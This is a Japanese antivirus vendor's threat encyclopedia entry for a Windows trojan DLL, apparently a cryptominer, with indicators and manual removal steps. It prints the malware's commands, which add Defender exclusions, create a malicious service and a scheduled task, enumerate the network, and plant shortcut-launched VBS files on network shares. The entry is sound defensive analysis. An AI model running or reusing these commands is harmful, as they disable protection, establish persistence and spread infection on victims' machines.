解析者: John Rainier Navato   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
     

  • 感染報告の有無 :
    はい


  詳細

ファイルサイズ 94,917,120 bytes
タイプ DLL
発見日 2024年11月25日
ペイロード ファイルの作成

インストール

マルウェアは、以下のファイルを作成します。

  • %System%\svcldr64.dat
  • %System%\console_zero.exe
  • %System%\x470764.dat
  • {Machine IP Address}\{Network Share Folder}\root\x{Random}.vbs
  • {Machine IP Address}\{Network Share Folder}\root\x{Random}.dat
  • {Machine IP Address}\{Network Share Folder}\root\rootcomp.dat
  • {Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk

(註:%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

マルウェアは、以下のプロセスを追加します。

  • cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32'"
  • cmd.exe /c sc create x470764 binPath= %System%\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x470764\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "%System%\x470764.dat" /f && sc start x470764
  • cmd.exe /c start "" "%System%\console_zero.exe"
  • cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "%System%\console_zero.exe" /rl HIGHEST /f
  • cmd.exe /c timeout /t 16 /nobreak && del /q "%System%\svcldr64.dat"
  • cmd.exe /c arp -a
  • cmd.exe /c powershell -Command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('\{Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk'); $Shortcut.WorkingDirectory = '\{Machine IP Address}\{Network Share Folder}\rootdir'; $Shortcut.TargetPath = '\{Machine IP Address}\{Network Share Folder}\rootdir\x{Random}.vbs'; $Shortcut.IconLocation = '%System%\shell32.dll, 8'; $Shortcut.Save()"
  • cmd.exe /c start "" "%System%\crypti.exe"

(註:%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

その他

マルウェアは、以下を実行します。

  • It adds the following service:
    • Name: x470764
    • Start Type: On Logon
    • Binary Path: %System%\console_zero.exe

(註:%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

以下のスケジュールされたタスクを追加します:

    • Task Name: console_zero
    • Trigger: On Logon
    • Task to be run: %System%\console_zero.exe

(註:%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 19.725.96
初回 VSAPI パターンリリース日 2024年11月19日
VSAPI OPR パターンバージョン 19.727.00
VSAPI OPR パターンリリース日 2024年11月20日

手順 1

トレンドマイクロの機械学習型検索は、マルウェアの存在を示す兆候が確認された時点で検出し、マルウェアが実行される前にブロックします。機械学習型検索が有効になっている場合、弊社のウイルス対策製品はこのマルウェアを以下の機械学習型検出名として検出します。

    • TROJ.Win32.TRX.XXPE50FFF087

手順 2

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 4

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 5

セーフモード時のスケジュールタスクの削除方法

  1. セーフモードのまま、以下の{タスク名}-{実行するタスク}のリストを使用し、以下のステップで確認する必要があります。
    • Task Name: console_zero
    • Task to be run: %System%\console_zero.exe
  2. Windows 7 および Server 2008 (R2) をご使用の場合は、[スタート] > [コンピューター] をクリックします。
    • Windows 8、8.1、10、Server 2012をご使用の場合は、画面左下で右クリックし、「ファイルエクスプローラ」をクリックします。
  3. PCの検索欄に、次のように入力します。
    • System%\Tasks\{タスク名}
  4. ファイルを選択し、SHIFT+DELETEキーを押して削除します。
  5. レジストリエディタを開き、以下を実行してください。
    • Windows 7およびServer 2008(R2)をご使用の場合は、[スタート]ボタンをクリックし、[検索]入力フィールドに「regedit」と入力し、Enterキーを押します。
    • Windows 8、8.1、10、およびServer 2012(R2)をご使用の場合は、画面の左下隅を右クリックし、[実行]をクリックして、テキストボックスに「regedit」と入力します。
  6. レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
  7. 作成されたエントリを探し、レジストリ値のデータをメモする。
    • ID={タスクデータ}
  8. データを記録した後、レジストリキーを削除します。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
  9. レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. 左側のパネルで、手順6で配置したTask Dataと同じ名前のレジストリキーを探して削除します。
    • ={タスクデータ}
  11. レジストリエディタを閉じます。

手順 6

このマルウェアのサービスを無効にします。

[ 詳細 ]
    • x470764

手順 7

不明なレジストリキーを削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
    • x470764

手順 8

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  
  • %System%\svcldr64.dat
  • %System%\console_zero.exe
  • %System%\x470764.dat
  • {Machine IP Address}\{Network Share Folder}\root\x{Random}.vbs
  • {Machine IP Address}\{Network Share Folder}\root\x{Random}.dat
  • {Machine IP Address}\{Network Share Folder}\root\rootcomp.dat
  • {Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk

手順 9

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Trojan.Win64.MALXMR.BRP」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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